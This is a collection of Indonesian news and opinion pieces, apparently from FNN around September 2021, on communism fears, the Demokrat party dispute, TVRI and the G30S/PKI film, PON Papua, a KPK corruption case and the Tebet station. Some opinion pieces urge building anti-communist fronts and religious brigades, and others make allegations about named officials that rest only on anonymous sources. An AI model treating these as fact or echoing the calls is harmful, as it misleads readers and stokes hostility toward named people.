Bagaimana aura kebencian terhadap agama, TNI, dan semangat pribumi patriotik begitu parah. Siapa yang peduli terhadap bangsa dianggap ancaman. Ramay kepada asing khususnya China daratan, tapi sinis pada bangsa sendiri. Lalu pertanyaannya. Sampai kapan ini alan berakhir? Rakyat sudah gerah. Pemerintah seakan tak peduli dan percaya diri. Apakah sejarah akan berulang kembali? Biar waktu yang akan menjawabnya. Karena percayalah, dendam hanya akan melahirkan petaka. Dendam hanya akan melahirkan kehancuran. *)

Kita Bukan Bangsa Keledai

By M Rizal Fadillah KELEDAI (donkey, himar) digambarkan sebagai hewan yang bodoh tapi keras kepala. Kebodohan keledai diungkap oleh penulis Yunani Homer dan Aesop. Untuk bergerak dengan beban berat, keledai dipasangi wortel depan mulutnya. Dibohongi oleh majikannya. Pepatah untuk kebodohannya ialah "a donkey fall in the same hole twice". Bangsa Indonesia telah mengalami pengalaman pemberontakan dan penghianatan PKI dua kali yaitu pada September 1948 dan September 1965. Keduanya berdarah dan biadab. Korban adalah santri ulama dan tentara. PKI senantiasa mencari celah atas kelengahan pemimpin bangsa. Istana yang dapat dipengaruhi dan ditunggangi. Kini geliat terasa kembali meski PKI telah dibubarkan dan dilarang. Mereka sendiri menyatakan bergerak tanpa bentuk. Artinya penggalangan melalui penyusupan di organisasi kemasyarakatan, organisasi politik, birokrasi, istana, maupun TNI-Polri. Para taipan yang menjadi bagian dari oligarkhi patut untuk diwaspadai. Akankah bangsa ini mengalami kembali bencana politik untuk yang ketigakalinya akibat gerak dan aksi kaum Komunis yang abai diwaspadai ? Mungkin saja jika memang antisipasi elemen bangsa ini lemah. Agar tidak menjadi bangsa keledai yang bukan saja dua kali tetapi berulangkali terperosok dalam lubang yang sama, maka perlu upaya antara lain : Pertama, pemahaman sejarah yang harus terus diperkuat terutama untuk generasi muda yang sama sekali tidak mengalami peristiwa kejahatan dan penghianatan PKI. Tayangan film Penghianatan G 30 S PKI itu penting dan konstruktif. Tidak terpengaruh oleh pandangan kaum reaksioner seperti Ilham Aidit (Putera DN Aidit), Effendi Simbolon (kader PDIP) atau Hilmar Farid (Direktur Kebudayaan Kemendikbud ristek) yang menyerang tayangan dan yang menyatakan Hari Kesaktian Pancasila tidak relevan. Ada juga Iman Brotoseno (Direktur Utama TVRI) yang membela Gerwani. Kedua, pertahankan dan jalankan Ketetapan MPRS No XXV/MPRS/1966 yang melarang PKI dan penyebaran faham Marxisme/Leninisme dan Komunisme. Ketetapan ini menegaskan bahwa tidak ada hak hidup untuk PKI dan Komunisme. Kemudian tegakkan UU No 27 tahun 1999 yang memberi sanksi 12 tahun, 15 tahun, dan 20 tahun bagi penyebar faham Marxisme/Leninisme dan Komunisme. Perbesaran ancaman jika mengakibatkan kerusuhan dan dalam rangka mengganti ideologi negara. Kerjasama dengan organisasi dan partai berhaluan Komunis juga dilarang. Ketiga, mengingat PKI dan Komunisme bergerak dan disebarkan diam-diam, maka antisipasi masyarakat, khususnya umat Islam harus dilakukan dengan lebih gesit dan strategis. Front-front anti komunis harus dibangun kembali, laskar dan brigade keumatan turut membantu aparat untuk mengamankan target-target klasik PKI dan gerakan komunisme seperti ulama, tokoh masyarakat, dan tempat-tempat ibadah. Mewaspadai adu domba dan pengembangan mistisisme, faham sesat, serta kemaksiatan lainnya. Jangan biarkan PKI dan Komunisme memanfaatkan keakraban Pemerintah dengan Negara RRC, menggencarkan tuduhan kepada umat beragama sebagai radikal, intoleran, dan anti-kebhinekaan, serta menunggangi program moderasi beragama demi penipisan keyakinan keagamaan. Bangsa indonesia sudah terperosok dua kali dan tidak boleh untuk ketiga kalinya. Kita ini bukan bangsa keledai. Sejarah itu penting. George Santayana filosof Spanyol-Amerika menyatakan "mereka yang tidak mengambil hikmah sejarah, ditakdirkan untuk mengulanginya". Nabi Muhammad SAW pernah bersabda "seorang mu'min tidak masuk ke dalam lubang yang sama dua kali" (HR Bukhori). *) Pemerhati Politik dan Kebangsaan

Dua Alasan Mengapa Menkumham Tolak Sahkan KLB Ilegal Deli Serdang

Jakarta, FNN - Kuasa Hukum DPP Partai Demokrat, Hamdan Zoelva membenarkan alasan Menteri Hukum dan HAM, Yasonna Laoly menolak pendaftaran hasil KLB illegal Deli Serdang. Hal ini terungkap dalam sidang pengadilan PTUN Jakarta No. 154/G/2021/PTUN-JKT, Kamis (30/9/2021). Alasan pertama, kata Hamdan, UU No.2/2011 tentang Parpol mewajibkan adanya Surat Keterangan Tidak Ada Perselisihan Internal apabila suatu parpol ingin mendaftarkan perubahan susunan pengurus dan AD/ART ke Kementerian Hukum dan Ham. Namun, kubu Moeldoko cs hanya bisa memberikan Surat Keterangan Tidak Ada Perselisihan Internal di partai politik yang ditandatangi oleh Ketua Mahkamah Partai yang terbentuk dari KLB itu sendiri. “Mahkamah partainya sendiri belum sah, belum terdaftar, sudah membuat surat keterangan, dan sampai pada akhir masa pendaftaran, tidak bisa menunjukan Surat Keterangan Tidak Ada Perselisihan Internal yang disampaikan oleh Mahkamah Partai yang sah dan terdaftar. Ketika kewajiban itu tidak terpenuhi, maka seluruhnya tidak bisa diproses,” tegas Hamdan. Alasan yang kedua, karena Kongres dan Kongres Luar Biasa parpol mesti sesuai dengan AD/ART parpol. Padahal, KLB Deli Serdang nyata-nyata tidak memenuhi syarat-syarat KLB sebagaimana yang termaktub dalam AD/ART Partai Demokrat. Berdasarkan Pasal 83 ayat (1) AD/ART disebutkan bahwa DPP sebagai penyelenggara Kongres atau Kongres Luar Biasa. Selanjutnya, ayat (2) mengatur, KLB dapat diadakan atas permintaan; Majelis Tinggi Partai atau sekurang-kurangnya 2/3 dari jumlah DPD dan 1/2 dari jumlah DPC dan disetujui oleh Majelis Tinggi Partai. “Kalau syarat ini tidak terpenuhi, apa yang mau disahkan Kementerian Hukum dan HAM? Justru akan menjadi salah jika Kementerian Hukum dan HAM memproses dan menerima atau mengesahkan hasil KLB, padahal KLB-nya sendiri tidak sah,” ungkap Hamdan. Sehingga, kata Hamdan, perkara ini sudah sangat gamblang dan nyata bahwa Keputusan Menteri Hukum dan HAM menolak pendaftaran hasil KLB illegal Deli Serdang sudah sesuai dengan hukum dan peraturan perundang-undangan yang berlaku. Terkait, Kuasa Hukum DPP Partai Demokrat, Heru Widodo, mengungkapkan fakta yang mengonfirmasi bahwa persoalan ini merupakan masalah internal partai sehingga bukan wewenang PTUN. Hal ini dibuktikan dengan Jhoni Allen Marbun yang mengajukan sengketa kepada Mahkamah Partai DPP Partai Demokrat yang dipimpin oleh Agus Harimurti Yudhyono untuk kembali menjadi anggota Partai Demokrat. “Pak Jhoni mengajukan sengketa ke Mahkamah Partai yang ketuanya adalah Nahrowi Ramli (red.pimpinan AHY), jadi dia sendiri tidak mengakui Mahkamah Partai yang terbentuk dari KLB Deli Sedang,” tegas Hamdan. (mth)

TVRI Tidak Mau Menayangkan Film Pengkhianatan G30S/PKI

Jakarta, FNN - Lembaga Penyiaran Publik Televisi Republik Indonesia (LPP TVRI) menegaskan bahwa pihaknya tidak akan menayangkan pemutaran film "Pengkhianatan G 30 S PKI" dan sikap tersebut diambil berdasarkan sejumlah hal. Pernyataan tersebut disampaikan TVRI menjawab pertanyaan yang diajukan sejumlah pihak kepada TVRI dan stasiun-stasiun televisi lain tentang penayangan film G 30 S PKI. Setiap kali memasuki tanggal 30 September selalu muncul kontroversi mengenai pemutaran film ini. TVRI harus menjadi alat perekat sosial dan pemersatu bangsa, sehingga tidak memutar tayangan yang berpotensi menimbulkan kegaduhan dan perpecahan di antara masyarakat, kata Direktur Utama LPP TVRI Iman Brotoseno dalam pernyataan resmi, Kamis. "Tapi kami juga memberikan pencerahan dan informasi sehat sesuai fungsi kepublikan kami, sehingga pembelajaran masa silam akan selalu kami tampilkan dengan cara interaktif dan kekinian melalui program-program di TVRI," jelas Iman. Program-program pembelajaran sejarah yang tayang di TVRI dimaksud, menurut Iman, antara lain Forum Fristian pada 29 September 2021 dengan topik: Rekonsiliasi ’65, Berdamai Dengan Sejarah. Program Mengingat Jejak Sejarah yang tayang pada 30 September 2021 serta penayangan Upacara Peringatan Hari Kesaktian Pancasila pada Jumat, 1 Oktober 2021. Sementara itu, beberapa hal yang mendasari TVRI tidak menayangkan film "G 30S PKI" antara lain bahwa sejak tahun 1998 pada masa pemerintah Presiden Habibie, film tersebut sudah tidak ditayangkan di TVRI. Hal itu juga diperkuat dengan pernyataan Menteri Penerangan RI saat itu Letnan Jenderal TNI (Purn) M Yunus Yosfiah bahwa pemutaran film yang bernuansa pengkultusan tokoh seperti film "Pengkhianatan G 30 S PKI", "Janur Kuning", dan "Serangan Fajar" tidak sesuai lagi dengan dinamika reformasi. Oleh karena itu, pada 30 September 1998, TVRI dan TV swasta tidak menayangkan pemutaran film G 30 S PKI seperti yang diungkapkan Yunus Yosfiah dalam harian Kompas, 24 September 1998. Menteri Pendidikan ketika itu, Juwono Sudarsono, juga membentuk tim khusus untuk mengevaluasi semua buku sejarah dalam versi G 30 S PKI. PP Nomor: 13 Tahun 2005 tentang LPP TVRI, pada Bagian Ketiga, Pasal 4 mengenai Tugas menyebutkan: TVRI mempunyai tugas memberikan pelayanan informasi, pendidikan, hiburan yang sehat, kontrol dan perekat sosial, serta melestarikan budaya bangsa untuk kepentingan seluruh lapisan masyarakat melalui penyelenggaraan penyiaran televisi yang menjangkau seluruh wilayah Negara Kesatuan Republik Indonesia. (ant, sws)

Presiden Jokowi Harus Pecat “Trouble Maker” Moeldoko!

Oleh: Mochamad Toha Belakangan ini Presiden Joko Widodo gelisah dengan manuver Kepala Staf Presiden Moeldoko terkait dengan upayanya mengkudeta Partai Demokrat. Sebab, gerakan Moeldoko ini tak lepas dari jabatan KSP. “Untuk proses bersih diri, Presiden Jokowi harus ganti Moeldoko karena dia sudah menjadi trouble maker nasional,” kata sumber FNN.co.id yang dekat dengan Istana. Moeldoko dinilai sudah kebablasan. Secara tersirat, Moeldoko memanfaatkan statusnya sebagai KSP, sehingga mencerminkan “diutus” Presiden Jokowi untuk merusak Partai Demokrat, memusuhi Susilo Bambang Yudhoyono (SBY), pendirinya. Perlu dicatat, sebagai Presiden ke-6, SBY masih memiliki jaringan TNI di tiga matra (Darat, Laut, dan Udara) yang kuat. Begitu pula internasional, dia masih memiliki jaringan yang tersebar di dunia.Tapi sebaliknya, Moeldoko justru banyak musuhnya di TNI sendiri. Untuk mengamankan Jokowi dan keluarga, maka Jokowi harus bisa dan berani menggusur Moeldoko dari jabatannya sebagai KSP. Pada akhir pekan awal Maret lalu menjadi sesuatu yang mengejutkan bagi Partai Demokrat, Ketum DPP Partai Demokrat Agus Harymurti Yudhoyono (AHY) dan bahkan SBY sendiri. Di luar ekspetasi, Moeldoko, mantan KSAD dan Panglima TNI semasa SBY menjabat Presiden, ditetapkan sebagai Ketum Partai Demokrat hasil KLB Deli Serdang, Sumatera Utara. KLB yang bisa dikatakan sebagai upaya coup de etat AHY dari kursi Ketum Partai Demokrat seakan menjadi klimaks dari tudingan Partai Demokrat, orang-orang di lingkaran Jokowi ingin mengambil-alih Partai Demokrat. Meski sempat dibantah, sejak beberapa minggu sebelum KLB berlangsung, aroma kudeta tersebut sudah tercium. Dan KLB plus Ketum Moeldoko ini menjadi penegas, polemik kudeta Partai Demokrat benar adanya. Ironis, karena Moeldoko seakan menjadi “anak durhaka” dan nyata-nyata mengabaikan jiwa “korsa”. Sama-sama berlatar belakang militer, Moeldoko jelas-jelas menelikung seniornya: SBY, dan juniornya: AHY. Terang saja jika AHY dan SBY mencak-mencak melihat manuver KLB dan Moeldoko ini. Dan atas perilaku Moeldoko ini, Pemerintah yang akan kena getahnya. Terutama Presiden Jokowi. Maklum saja jika itu terjadi, mengingat Moeldoko sekarang masih menjabat sebagai KSP. Pada sisi lain, kisruh ini akan menjadi ujian bagi Pemerintah untuk tetap teguh pada peraturan atau tidak. Jangan terkejut jika pada akhirnya banyak alumni “Lembah Tidar” gethol melawan. Pasalnya, Presiden Jokowi sebelum mengangkat Moeldoko sudah diperingatkan para alumni Lembah Tidar: Moeldoko berpotensi rusak citra Presiden di penghujung pemerintahan. Tapi, Presiden Jokowi hanya berharap, para alumni Lembah Tidar harus membantu Jokowi. Konon, terkait dengan manuver Moeldoko ini, mereka sudah menyarankan supaya Presiden mencopot Moeldoko dari posisinya sebagai KSP. Dengan terbukanya “borok” mantan Panglima TNI yang dilantik Presiden SBY yang melakukan kesalahan itu, sehingga rakyat Indonesia tahu jika Moeldoko ini trouble maker Nasional. Nama yang dicalonkan sangat mungkin diajukan sebagai penggantinya yaitu Budi Gunawan (Kepala BIN) atau Tito Karnavian (Mendagri). Kedua Jenderal Polisi itu punya pendukung kuat di Polri. Dengan mengangkat BG atau Tito sebagai KSP, posisi Jokowi akan aman. BuzzerRp dipastikan diam. Sebab BG memiliki jaringan tim Siber di BIN. Sementara Tito memiliki jaringan tim Siber di Polri. Tak hanya itu. Dengan menempatkan KSAD Jenderal Andika Perkasa jadi Panglima TNI dan BG atau Tito di KSP akan memberi jaminan keamanan bagi Jokowi di dunia nyata maupun maya. “Mengingat panasnya suhu politik dan kondisi keamanan NKRI, sangatlah tepat jika Presiden Jokowi memilih Andika,” ujar sumber tadi. Penulis adalah Wartawan FNN.co.id

Malut Berpeluang Tambah Medali PON Papua Lewat Cabang Muaythai

Ternate, FNN - Komite Olahraga Nasional Indonesia (KONI) Maluku Utara (Malut) menyatakan kontingen Malut berpeluang menambah medali PON XX Papua melalui cabang olahraga muaythai. "Hari ini, atlet muaythai asal Malut Vicki Rajiloen akan tampil di semifinal menghadapi atlet Jawa Barat Topan Novian," kata Ketua KONI Malut Djafar Umar saat dihubungi dari Ternate, Kamis. Vicki Rajiloen merupakan salah satu atlet yang diproyeksikan medali emas untuk Malut pada cabang muaythai kelas 57kg putra. Oleh karena itu, dengan masuknya Vicki di semifinal muaythai, otomatis Malut memiliki peluang untuk meraih medali, setelah sebelumnya atlet sepatu roda Nurul Nazwa menyumbangkan medali perdana untuk Malut. Menurut Djafar, dari 54 atlet yang berpartisipasi dalam 12 cabang olahraga di PON Papua, ada empat atlet yang dinyatakan mundur, yaitu satu atlet dayung dan satu atlet bulu tangkis, sedangkan dua atlet lainnya tidak diberi izin oleh atasan mereka, yakni dua petinju Salsabilah dan Sunan Amoragam. Petinju Sunan Amoragam pernah meraih medali emas untuk Malut pada PON ke-19 dan meraih medali perunggu dalam ajang Asian Games di kelas 52kg. Djafar mengakui meski sarana terbatas dan jam terbang atlet masih minim, KONI sempat berencana mempersiapkan atlet-atlet Malut melalui training center (TC) di Thailand dan Korea Selatan guna menghadapi PON Papua, namun rencana itu tidak dapat direalisasikan karena pandemi COVID-19. Akan tetapi, pihaknya tetap memasang target medali dan masuk peringkat 25 besar dalam ajang olahraga empat tahunan itu. "Dari 12 cabang olahraga yang akan diikuti Malut, ada cabang olahraga yang diberi target meraih medali emas, perak hingga perunggu," ujar Djafar. Dia menyatakan untuk cabang futsal, muaythai, tinju dan taekwondo diproyeksikan medali emas. Kemudian atletik, bulu tangkis, pencak silat, karate, dayung, sepatu roda dan sepak bola ditargetkan medali perak dan perunggu. Namun untuk cabang futsal yang empat tahun lalu mampu menyumbangkan medali perak, kali ini di PON Papua tim Malut tidak memiliki harapan untuk lolos ke semifinal karena mengalami tiga kekalahan berturut-turut. Malut mengirimkan 51 atlet yang akan berlaga di 12 cabang olahraga PON XX Papua, serta 22 pelatih dan manajer beserta ofisial. (mth)

KPK Panggil Istri Bupati Hulu Sungai Utara

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Kamis, memanggil Anisah Rasyidah yang merupakan istri Bupati Hulu Sungai Utara Abdul Wahid dalam penyidikan kasus dugaan korupsi terkait pengadaan barang dan jasa di Kabupaten Hulu Sungai Utara 2021-2022. Anisah juga menjabat sebagai Kepala Dinas Pengendalian Penduduk dan Keluarga Berencana (DPPKB) Kabupaten Hulu Sungai Utara. Ia dipanggil sebagai saksi untuk tersangka Marhaini (MRH) dari pihak swasta/Direktur CV Hanamas. "Hari ini pemeriksaan saksi terkait pengadaan barang dan jasa di Kabupaten Hulu Sungai Utara, Kalimantan Selatan Tahun 2021-2022, untuk tersangka MRH dan kawan-kawan," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. Dalam penyidikan kasus itu, KPK memanggil Ketua DPRD Kabupaten Hulu Sungai Utara Almien Ashar Safari sebagai saksi untuk tersangka Marhaini. KPK, Kamis (16/9), telah menetapkan tiga tersangka kasus tersebut. Sebagai penerima, yakni Maliki (MK) selaku Plt Kepala Dinas PU pada Dinas Pekerjaan Umum, Penataan Ruang, dan Pertanahan (PUPRP) Hulu Sungai Utara. Sedangkan sebagai pemberi, yaitu Marhaini (MRH) dan Fachriadi (FH) dari pihak swasta/Direktur CV Kalpataru. Dalam konstruksi perkara, KPK menjelaskan Dinas PUPRP Kabupaten Hulu Sungai Utara telah merencanakan untuk dilakukan lelang proyek irigasi, yaitu Rehabilitasi Jaringan Irigasi Daerah Irigasi Rawa (DIR) Kayakah, Desa Kayakah, Kecamatan Amuntai Selatan dengan harga perkiraan sendiri (HPS) Rp1,9 miliar dan Rehabilitasi Jaringan Irigasi DIR Banjang, Desa Karias Dalam, Kecamatan Banjang dengan HPS Rp1,5 miliar. Sebelum lelang ditayangkan di Layanan Pengadaan Secara Elektronik (LPSE), Maliki diduga telah terlebih dahulu memberikan persyaratan lelang pada Marhaini dan Fachriadi sebagai calon pemenang dua proyek irigasi tersebut dengan kesepakatan memberikan sejumlah uang komitmen "fee" 15 persen. Saat penetapan pemenang lelang untuk proyek Rehabilitasi Jaringan Irigasi DIR Kayakah, Desa Kayakah, Kecamatan Amuntai Selatan, dimenangkan oleh CV Hanamas milik Marhaini dengan nilai kontrak Rp1,9 miliar dan proyek Rehabilitasi Jaringan Irigasi DIR Banjang, Desa Karias Dalam, Kecamatan Banjang dimenangkan oleh CV Kalpataru milik Fachriadi dengan nilai kontrak Rp1,9 miliar. Setelah semua administrasi kontrak pekerjaan selesai lalu diterbitkan surat perintah membayar pencairan uang muka yang ditindaklanjuti oleh Badan Pengelolaan Keuangan dan Aset Daerah (BPKAD) dengan menerbitkan Surat Perintah Pencairan Dana (SP2D) untuk pencairan uang CV Hanamas dan CV Kalpataru yang dilakukan oleh Mujib sebagai orang kepercayaan Marhaini dan Fachriadi. Sebagian pencairan uang tersebut, selanjutnya diduga diberikan kepada Maliki yang diserahkan oleh Mujib sejumlah Rp170 juta dan Rp175 juta dalam bentuk tunai. Sebagai pemberi, Marhaini dan Fachriadi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 65 KUHP. Sementara Maliki selaku penerima disangkakan melanggar Pasal 12 huruf (a) atau Pasal 12 huruf (b) atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 64 KUHP jo Pasal 65 KUHP. (mth)

Wapres: Anggaran Bukan Isu Utama Tanggulangi Miskin Ekstrem di Jatim

Jakarta, FNN - Wakil Presiden Ma’ruf Amin menegaskan bahwa anggaran bukan merupakan masalah utama yang dihadapi pemerintah untuk menyelesaikan kemiskinan ekstrem di tujuh provinsi prioritas, termasuk Jawa Timur. "Saya berpendapat bahwa anggaran sebenarnya bukan isu utama dalam penanggulangan kemiskinan ekstrem,” kata Wapres saat memimpin rapat dengan jajaran Pemerintah Provinsi Jawa Timur di Gedung Negara Grahadi Surabaya, Kamis. Wapres mengatakan tantangan terbesar pemerintah pusat dan pemerintah daerah ialah memastikan rumah tangga dengan miskin ekstrem di daerah dapat menerima manfaat program dari Pemerintah. "Tantangan terbesar kita adalah bagaimana memastikan seluruh program, baik dari pemerintah pusat, pemerintah provinsi, dan pemerintah kabupaten bisa sampai diterima oleh rumah tangga miskin ekstrem di wilayahnya," jelasnya. Selain itu, di hadapan para kepala daerah di Provinsi Jawa Timur, Wapres menjelaskan pemerintah memiliki waktu terbatas hingga akhir 2021 untuk menyelesaikan kemiskinan ekstrem di sejumlah daerah. Oleh karena itu, Wapres mendesak Gubernur Jatim Khofifah Indar Parawansa dan lima bupati daerah prioritas di Jatim untuk bekerja keras dalam merealisasikan program bantuan sosial dan program pemberdayaan masyarakat miskin ekstrem. "Tantangan berikutnya, ini kita punya waktu tahun 2021 tinggal tiga bulan. Sulit sekali untuk menuntaskan kemiskinan ekstrem dengan program yang reguler," ujarnya. Jawa Timur merupakan satu dari tujuh provinsi yang menjadi prioritas bagi pemerintah untuk menyelesaikan kemiskinan ekstrem hingga mencapai nol persen pada akhir 2021. Total penduduk miskin ekstrem di lima kabupaten prioritas di Jawa Timur sebanyak 508.571 jiwa, dengan total jumlah rumah tangga miskin ekstrem sebanyak 265.180 rumah tangga. Lima kabupaten di Provinsi Jawa Timur yang menjadi daerah prioritas penyelesaian kemiskinan ekstrem hingga akhir 2021, yakni Probolinggo, Bojonegoro, Lamongan, Bangkalan, dan Sumenep. (mth)

Memacu UMKM Lewat Integrasi Transportasi

Jakarta, FNN - Di salah satu lorong panjang di sisi Barat Stasiun Tebet, belasan gerobak dagang dari Suku Dinas Perindustrian, Perdagangan, Koperasi, Usaha Kecil dan Menengah Jakarta Selatan hampir semua diisi oleh pedagang kaki lima. Penampakan itu bukan lagi memperlihatkan pedagang kaki lima yang kerap kita temui di pinggir jalan. Namun, pedagang kaki lima yang dimaksud adalah mereka yang telah mendapat sejumlah gerobak yang “wajahnya” berbeda dibanding sebelumnya. Gerobak-gerobak itu sengaja ditempatkan tepat di samping Stasiun Tebet untuk memudahkan pedagang lebih nyaman menjajakan produknya. Karena, penyediaan gerobak itu merupakan salah satu bagian dari penataan “wajah baru” Stasiun Tebet yang diintegrasikan dengan berbagai moda transportasi di DKI. Setiap gerobak, dimanfaatkan oleh dua pelaku UMKM sekaligus. Pemanfatannya dibuat berjadwal. Dari pukul 06.00 WIB-14.00 WIB, lalu pukul 14.00 WIB hingga 21.00 WIB. Nasrul, salah satu pedagang yang telah menempati gerobak itu, menjadi saksi nyata bagaimana dia menjajal tempat itu untuk memasarkan produknya kepada warga. Bila dulu Nasrul berada di tengah terik matahari, dan melintasi hari-harinya dengan berdiri. Kini Ia hanya melakukan itu bila ada yang melintas di depannya, itu pun tak lama. Tampaknya, Ia tak lagi melakukan banyak upaya untuk memasarkan dagangannya. Pasalnya, integrasi stasiun dengan beberapa moda transportasi telah memudahkan mereka melihat pengunjung. Kendati saat ini, di antara pembeli masih belum banyak berkunjung, Ia tak kecewa. Bahkan bila mereka hanya melintas atau sekadar mengobrol saja. Sebaliknya, Ia merasa sumringah ketika warga mengajak bercerita bersama. “Sebelumnya saya berdagang itu di sana (di bawah jembatan). Tapi, sekarang Alhamdulillah udah dikasih tempat yang bagus, sehingga kita lebih nyaman dan manusiawi berjualan,” katanya saat ditemui di kawasan Stasiun Tebet, Rabu. Nasrul yang mendapat jadwal berdagang shift pertama dari pukul 06.00-14.00 WIB itu begitu mengharapkan keadaan Stasiun Tebet yang kini terintegrasi dengan berbagai moda transportasi memacu ekonomi sekitar semakin menggeliat. Apalagi, pria berusia 56 tahun ini bersama rekan-rekannya sudah lama tak menghasilkan pendapatan yang cukup karena wabah pandemi COVID-19.​​​ “Tinggal sekarang pengunjungnya saja, semoga semakin banyak yang datang karena sudah terintegrasi di sini,” katanya seraya mengharap hal itu segera tiba. Di sisi kanan Nasrul, salah satu pedagang lainnya, Cahya Budiman (35) telah menempati lokasi binaan Suku Dinas PPKUKM Jakarta Selatan itu sejak tiga hari lalu. Serupa dengan Nasrul, Ia juga tak berlaku banyak saat berjualan. Kendati telah tiga hari menjalankan dagangannya di tempat baru itu, Ia belum merasakan geliat ekonomi seperti yang diharapkan. Walau demikian, Ia urung patah arang. “Tetap bersabar," celetuknya. Mungkin relokasi pedagang sedikit menjadi pemicunya. Bisa saja hal itu juga membuat pengunjung tak mengetahui keberadaan mereka. Karenanya, dia mengatakan masih perlu waktu bagi pengunjung untuk mengetahuinya. Dengan demikian, pengalaman tiga harinya di lokbin itu tak lagi muncul. Dalam beberapa waktu ke depan, diyakini pembeli akan berdatangan ke tempat jualannya dan para pedagang lainnya, hanya menunggu waktu, katanya. “Langganan juga banyak yang belum tahu, karena kan sebelumnya bukan di sini,” kata pria yang menjajakan aneka jualan minuman itu. Menjadi perhatian​ Kondisi Nasrul dan Cahya hanya sekelumit alasan mengapa pelaku UMKM mesti diperhatikan. Setuju atau tidak saat ini mereka telah menjadi salah satu bagian pemulihan ekomomi yang dicanangkan oleh pemerintah di tengah pandemi COVID-19. Sejumlah upaya pun telah diputuskan untuk mempertahankan geliat ekonomi dari mereka. Kendati pandemi belum sepenuhnya mereda, pemerintah mengambil langkah guna memacu ekonomi mereka. Penataan Stasiun Integrasi Tebet yang baru diresmikan Gubernur DKI Jakarta Anies Baswedan pada Rabu kemarin menjadi salah satu strateginya.​​ Sebanyak 72 pelaku usaha kecil dan menengah (UMKM) binaan Suku Dinas PPKUKM Jakarta Selatan pun langsung menempati lorong yang telah disediakan di sisi Barat dan Timur Stasiun. Mereka itu termasuk bagian dari penataan Stasiun Integrasi Tebet. Strategi itu pun tampaknya bakal memulihkan kondisi mereka. Pasalnya, jumlah pengunjung diprediksi bakal semakin bertambah seiring integrasi moda transportasi di sana. Tingkatkan penumpang Lantas bagaimana memulihkan UMKM tersesat? Salah satunya adalah lewat kunjungan penumpang. Karena itu perlu peningkatan jumlah penumpang pada integrasi moda transportasi tersebut. Gubernur DKI Jakarta Anies Baswedan juga mengharapkan demikian, agar penataan itu dapat memacu warga untuk menaiki transportasi publik. Ia menuturkan bahwa penggunaan transportasi umum menjadi pilihan yang rasional karena lebih terjangkau dari segi biaya dan jarak. Tidak hanya itu, dia mengungkapkan bahwa transportasi publik juga lebih dan dapat diprediksi waktu tibanya dibanding kendaraan pribadi. “Kami berharap pengintegrasian ini akan lebih banyak lagi warga yang merasakan bahwa naik kendaraan umum itu adalah pilihan rasional,” kata Anies.​​ Selain karena terjangkau, transportasi publik juga jauh lebih membuat masyarakat menjadi lebih produktif karena melakukan aktivitas di dalam kendaraan. VP Public Relations Kereta Api Indonesia Joni Martinus mendukung integrasi transportasi tersebut karena mempermudah masyarakat mengakses transportasi umum. Konektivitas antarmoda yang baik diharapkan meningkatkan jumlah pengguna transportasi umum. “Penataan kawasan stasiun ini akan meningkatkan aksesibilitas para pengguna KRL saat akan menuju atau tiba di stasiun," ujar Joni. Setelah ditata, kawasan stasiun menjadi lebih teratur dan dilengkapi integrasi antarmoda yang baik. Dengan begitu, harapannya jumlah pengguna akan semakin meningkat yang dibarengi dengan meningkatnya kunjungan di gerai pedagang sehingga pemulihan sektor UMKM di tengah integrasi moda transportasi itu dapat tercapai. Pemulihan UMKM Pemerintah Kota Jakarta Selatan juga meyakini hal demikian. “Wajah baru” stasiun yang dulunya kumuh dan tidak tertata itu akan mampu mengangkat ekonomi sekitar. Karena bagaimana pun, penataan tak hanya ditujukan mengurai kemacetan. Akan tetapi juga mengurai kemunduran pelaku UMKM. “Tebet dalam hal ini, Jakarta Selatan dipandang mampu mengintegrasikan moda termasuk UMKM,” kata Pelaksana tugas Wali Kota Jakarta Selatan Isnawa Adji. Stasiun Integrasi Tebet ini diharapkan menjadi percontohan bagi stasiun lainnya. Yang tak hanya tampilannya juga karena memacu geliat ekonomi di sekitarnya. Para pedagang yang biasanya berjualan di sekitar stasiun, kini sudah memiliki tempat khusus di dalamnya. Masyarakat yang menggunakan moda commuter line dan ingin menggunakan TransJakarta dan MikroTrans ke berbagai rute semakin dimudahkan. Warga yang ingin menggunakan layanan transportasi ojek daring juga dimudahkan dengan adanya tempat khusus bagi tukang ojek pangkalan. Keberadaan itu diharapkan membuat semakin banyak warga DKI beralih menggunakan transportasi umum ketimbang kendaraan pribadi sehingga memacu geliat ekonomi para pelaku UMKM lewat integrasi transportasi itu. (mth)

Presiden Jokowi Ditekan Oligarki Terkait Calon Panglima

Presiden Joko Widodo kali ini benar-benar dibuat “pusing”. Dari dua calon Panglima TNI pengganti Marsekal Hadi Tjahjanto yang jabatannya berakhir pada 8 November 2021, ia sulit menentukan. Kedua calon kuat Panglima TNI itu adalah KSAD Jenderal Andika Perkasa dan KSAL Yudo Margono. Kabarnya, sebenarnya ketiga matra TNI (Darat, Laut, dan Udara, mendukung Andika Perkasa. “Karena, Yudo Margono didukung oleh kelompok Oligarki yang dikoordinasi oleh jenderal pebisnis yang lebih ngutamain keamanan bisnisnya bersama Oligarki ketimbang nasib rakyat,” ujar sumber FNN.co.id. Untuk “memotong” upaya jenderal pebisnis yang punya banyak merangkap jabatan selain menteri itu, harus ada yang berani membongkar bisnis yang digelutinya, seperti yang dilakukan oleh Haris Azhar. Beberapa purnawirawan perwira tinggi seperti Hendro Priyono, termasuk yang enggan berhadapan dengan jenderal pebisnis ini, karena hubungan baiknya. Sehingga enggan mengkritisi meski marah. Siapa jenderal pebisnis yang dimaksud? Dialah Luhut Binsar Pandjaitan, Menko Kemaritiman dan Investasi. “Dia bersama Oligarki mendukung Yudo Margono menjadi Panglima TNI,” ujar sumber tadi. Jika ingin menghentikan langkah Luhut itu, kita harus mendukung Haris Azhar membongkar dugaan “keterlibatan” Luhut di Blok Wabu Intan Jaya yang ditengarai mengandung emas Rp 207 triliun. Seperti dalam Pernyataan Koordinator KontraS Fatia Maulidiyanti dalam unggahan video “Ada Lord Luhut Dibalik Relasi Ekonomi-Ops Militer Intan Jaya!! Jenderal BIN Juga Ada!!” di YouTube Haris 